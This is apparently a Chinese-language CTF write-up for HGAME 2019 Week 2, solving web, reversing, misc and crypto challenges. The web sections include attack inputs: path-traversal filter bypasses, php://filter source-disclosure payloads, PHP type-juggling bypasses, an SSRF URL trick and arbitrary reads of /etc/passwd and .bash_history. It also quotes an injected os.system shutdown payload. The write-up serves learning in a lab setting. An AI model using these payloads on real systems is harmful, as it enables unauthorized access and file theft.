Zry.IO

返回

web

easy_php [150]

根据页面标题提示 “where is my robots”,访问 /easyphp/robots.txt,内容为 “img/index.php”,访问得到图片与源码:

<?php
    error_reporting(0);
    $img = $_GET['img'];
    if(!isset($img))
        $img = '1';
    $img = str_replace('../', '', $img);
    include_once($img.".php");
    highlight_file(__FILE__);
php

由于 str_replace 函数只进行一次替换,可用 ....// 绕过过滤

尝试后发现请求 ?img=....//flag 返回 “maybe_you_should_think_think”,flag 可能位于 /flag.php 中,但由于通过 include_once 方式将文件执行,如果没有进行输出操作就无法显示出来

利用 php 伪协议就可以读取文件内容并 base64 编码后输出

提交 GET 请求 ?img=php://filter/read=convert.base64-encode/resource=....//flag,返回 “PD9waHAKICAgIC8vJGZsYWcgPSAnaGdhbWV7WW91XzRyZV9Tb19nMG9kfSc7CiAgICBlY2hvICJtYXliZV95b3Vfc2hvdWxkX3RoaW5rX3RoaW5rIjsK”,解码可得 php 源码

Flag: hgame{You_4re_So_g0od}

php trick [200]

php 审计,源码如下:

访问 admin.php 返回 “only localhost can see it”

step 1 & step 2

要使两个内容不同的字符串的 MD5 值不等(!=),可以使其哈希值为 0e 开头

提交: str1=s878926199a&str2=s155964671a

step 3 & step 4

与前一步相似,但哈希值比较变为非全等(!==),可以提交数组参数,使 md5 函数无法处理而返回 null

(在前一步中由于对参数进行 string 类型转换,若提交数组参数则结果都为 "Array" 导致相等,无法绕过)

提交: str3[]=1&str4[]=2

step 5 & step 6 & step 7 & step 8

php 会将参数名中的 “.” 替换为 “_”

提交数组参数,可以使 is_numeric 返回 false;数组与其他类型比较大小时总是更大;转为字符串后为 “Array”,与整数型比较大小时返回 false

提交: H.game[]=1

step 9 & step 10 & step 11

利用 parse_url 与 libcurl 对 URL 的解析差异

当url中有多个@符号时,parse_url中获取的host是最后一个@符号后面的host,而libcurl则是获取的第一个@符号之后的。因此当代码对[email protected]:[email protected] 进行解析时,PHP获取的host是baidu.com是允许访问的域名,而最后调用libcurl进行请求时则是请求的eval.com域名,可以造成ssrf绕过 Source: https://xz.aliyun.com/t/2215

提交: url=http://[email protected]:[email protected]/admin.php

请求后获得 admin.php 的源码:

<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
    echo "sorry,you can't see it";
}
else{
    echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>
php

利用 php 伪协议,可以使 file_exists 返回 false,而 file_get_contents 可以成功读取

在 url 参数的末尾加上参数 ?filename=php://filter/read=convert.base64-encode/resource=flag.php,可以得到 base64 编码后的 flag.php 源码,解码得:

<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>
php

Flag: hgame{ThEr4_Ar4_s0m4_Php_Tr1cks}

PHP Is The Best Language [150]

php 审计,源码如下:

当参数为数组时会使 hash_hmac 函数无法处理,返回 null,将 $secret 置空

由于盐参数 $secret 为空,$gate 的值可知

php 对以 “0e” 开头的字符串进行弱比较时(通过 ==)转换为浮点型导致相等

提交: ?door[]=1&key=s878926199a&gate=7fb99dc1f423a257fd7100f01f262c958ea594043711c150fd9ba834dadb0188

Flag: hgame{Php_MayBe_Not_Safe}

Baby_Spider [300]

爬虫题,要求在 40 秒内依次完成 30 个计算题

若 User-Agent 可疑,几个算式后问题会变为 (lambda __g: [(os.system('shutdown -s -t 0'), (os.system('shutdown now'), None)[1])[1] for __g['os'] in [(__import__('os', __g, __g))]][0])(globals())#-----,若 python 爬虫脚本使用 eval 函数获取答案则会执行关机命令

从第 11 题开始,样式表 statics/style.css 内容发生变化,问题会使用字体文件 static/Ariali.otf,该字体对数字进行了替换,导致实际显示的算式中数字与 HTML 中不同

从第 21 题开始,样式表 statics/style.css 内容再次发生变化,不再使用 Ariali 字体,但对问题样式添加了 :after 伪元素,在页面渲染时变为 css 中指定的内容

最终脚本:

Flag: hgame{324e38d797b657f2172c73154d2209a7f7988c3f2c2c1acbb73672d626855aed}

Math有趣 [400]

第一个问题是 “1+1=?”,提交答案后进入第二题:求 “x/(y+z)+y/(x+z)/z(y+x)=4” 的最小整数解集,而测试发现不管用什么格式提交都无效

查看页面源码,题图路径为 img/cXVlc3Rpb24ucG5n.php,文件名为 base64 编码的 “question.png”,测试 “img/Li9xdWVzdGlvbi5wbmc=.php”(“./question.png”),返回了题图;测试出 img/Li4vLi4vZXRjL3Bhc3N3ZA==.php(“../../etc/passwd”),返回了文件内容,存在任意文件读取漏洞

读取 ../../root/.bash_history,得到项目路径 /usr/local/tomcat/webapps/ROOT/

提交一个格式错误的 base64 编码,如将 “../../etc/passwd” 的 base64 编码删去一个 “=”,使程序报错,从错误信息中得到函数名 hgame.controller.MathController.image

读取 ../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class,反编译得到 Java 源码,关于 flag 部分代码如下:

@RequestMapping(value={"/flag"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String Flag(ModelMap model) {
  System.out.println("This is the last question.");
  System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
  System.out.println("The flag is hgame{x}.x is a decimal number.");
  model.addAttribute("flag", "Flag is not here.");
  return "flag";
}
java

使用 BSGS (baby-step giant-step) 算法计算出 x 的值,可使用 python 脚本:https://gist.github.com/0xTowel/b4e7233fc86d8bb49698e4f1318a5a73 [存档]

Flag: hgame{15387368}

reverse

Pro的Python教室(三&四) [300]

题目给出一个 pyc 文件,首先使用 uncompyle6 尝试反编译,但是会报错:

$ uncompyle6 third.pyc
# ...[OMITTED]...
  File "c:\python2\lib\site-packages\xdis\bytecode.py", line 179, in _get_const_info
    argval = const_list[const_index]
IndexError: tuple index out of range
# ...[OMITTED]...
shellsession

使用 marshal 和 dis 模块获取字节码

可见其中 “13 LOAD_CONST 100” 这条指令超出了常量表的范围,用十六进制编辑器打开 pyc 文件,将第 45 字节(值为 0x64)改为 0x01,即将指令修改为 “13 LOAD_CONST 1”

再次运行以上脚本,即可成功获取全部字节码

开头部分的字节码整理后如下:(已将 “13 LOAD_CONST 1” 改回 “13 LOAD_CONST 100”)

# ...[OMITTED]...
  2           0 JUMP_ABSOLUTE            3                       [71 03 00]
        >>    3 JUMP_ABSOLUTE            9                       [71 09 00]
              6 LOAD_CONST              15                       [64 0F 00]
        >>    9 JUMP_ABSOLUTE           14                       [71 0E 00]
  3          12 PRINT_ITEM                                       [47 -- --]
             13 LOAD_CONST             100                       [64 64 00]
             16 STOP_CODE                                        [00 -- --]
             17 LOAD_CONST               1 (None)                [64 01 00]
# ...[OMITTED]...
shellsession

此处使用了重叠指令(Overlapping Instruction)混淆手段,实际执行为:

# ...[OMITTED]...
  2           0 JUMP_ABSOLUTE            3                       [71 03 00]
        >>    3 JUMP_ABSOLUTE            9                       [71 09 00]
              6 LOAD_CONST              15                       [64 0F 00]
        >>    9 JUMP_ABSOLUTE           14                       [71 0E 00]
        >>   14 LOAD_CONST               0                       [64 00 00]
             17 LOAD_CONST               1                       [64 01 00]
# ...[OMITTED]...
shellsession

关于更多 Python 字节码混淆手段,请见 https://blog.csdn.net/ir0nf1st/article/details/61650984 [存档]

之后手工将字节码翻译为源码(或许也可以修改错误的字节码以使 uncompyle6 等工具成功反编译,未尝试)

源码如下:

其中 encode 函数是一个使用了非标准编码表的 base64 编码函数,可以通过如下脚本进行解码获取 flag:

Flag: hgame{W3lc0me_To_anothe2_Python!}

Pro的Python教室(二) [100]

题目给出一个 pyc 文件,使用 uncompyle6 反编译,得到源码:

使用如下脚本解出 flag:

aaa = 'ioOavquaDb}x2ha4[~ifqZaujQ#'
enc = [0]*27
flag = []

for i in range(0, 27):
    enc[(3 - i // 9) % 3 + (i % 9) * 3] = ord(aaa[i])

for i in range(0, 27):
    if i % 2 == 0:
        flag.append(chr(enc[i] - 1))
    else:
        flag.append(chr(enc[i] - 2))

print(''.join(flag))
python

Flag: hgame{Now_Y0u_got_th3_PYC!}

misc

Are You Familiar with DNS Records? [50]

使用 dig 命令查询所给域名 “[REDACTED]” 的 DNS TXT 记录(最适合放 flag)

$ dig [REDACTED] TXT
# ...[OMITTED]...
;; ANSWER SECTION:
[REDACTED].	597	IN	TXT	"v=spf1 include:spf.mail.qq.com ~all"
[REDACTED].	597	IN	TXT	"flag=hgame{seems_like_you_are_familiar_with_dns}"
# ...[OMITTED]...
shellsession

Flag: hgame{seems_like_you_are_familiar_with_dns}

快到火炉旁找个位置坐坐! [150]

修复炉石传说套牌代码(deck code) “AAECAf0EBu0FuAju9gLQwQIMigGcAq4DyQOrBMsE5gSYxALaxQKW5AK0/ALSiQOmmAMA”

套牌代码通过 varint 编码数据,再进行 base64 编码,相关资料在 https://hearthsim.info/docs/deckstrings/ [存档]

解码后检查数据,发现单卡数量标志位为 6,而后面实际的单卡数据只有 4 个;双卡数量标志位为 11,实际数据有 13 个

修改数量标志位为实际值,然后按照炉石导出标准,将卡牌 ID 升序排列

重新编码,得到正确的套牌代码

Flag: hgame{AAECAf0EBO0FuAjQwQLu9gINigGcAq4DyQOrBMsE5gSYxALaxQKW5AK0/ALSiQOmmAMA}

找得到我嘛?小火汁 [150]

流量分析题

找到 No. 402,操作为 “RETR /pub/test/secret.zip” 的 FTP 流量,将 No. 405 - 406 的 FTP DATA 流量的数据导出为文件,合并后解压得到 secret.log

secret.log 内容为 NSS Key Log 格式的 SSL/TLS 密钥日志,在 Wireshark 的 Edit > Preferences > Protocols > SSL 菜单中指定 (Pre)-Master-Secret log filename 为该文件并重载数据包

找到 No. 194 的 HTTP 流量,将 1.tar 导出为文件,解压得到 flag.png,使用十六进制编辑器打开,得到 flag

Flag: hgame{Congratulations_You_Got_The_Flag}

初识二维码 [150]

二维码修复题

从所给压缩包解压 flag.txt,内容为 png 的 base64 编码,转换为图片文件后打开发现是一个没有定位标志(Position detection patterns)的二维码

origin.png

使用图像编辑工具补上三个定位标志及两条定时标志(Timing patterns)

flag.png

扫码得到 flag

Flag: hgame{Qu1ck_ReSp0nse_cODe}

crypto

浪漫的足球圣地 [150]

密文: “966A969596A9965996999565A5A59696A5A6A59A9699A599A596A595A599A569A5A99699A56996A596A696A996A6A5A696A9A595969AA5A69696A5A99696A595A59AA56A96A9A5A9969AA59A9559”

搜索题名发现指曼彻斯特,猜测为 Manchester 编码

密文由 “5”、“6”、“9”、“A” 四种字符组成,将其作为十六进制字符串解码后转为二进制码,再进行 Manchester 解码(IEEE 802)

将明文转为字符串,得到 flag

Flag: hgame{3f24e567591e9cbab2a7d2f1f748a1d4}

hill [180]

3x3 hill 密码,由于题目说明 “flag中含有BABYSHILL”,可进行已知明文攻击

可使用 sage 脚本 ChesleyTan/Hill-Cipher-Cracker

Flag: hgame{THEBABYSHILLCIPHERATTACK}

Vigener~ [150]

普通的 Vigenère 密码

在线解密:https://www.dcode.fr/vigenere-cipher

Flag: hgame{gfyuytukxariyydfjlplwsxdbzwvqt}

HGAME2019 - Week 2 writeup
https://zry.io/zh/ctf/hgame2019-week-2-writeup
作者 zry98
发布于 2019年2月4日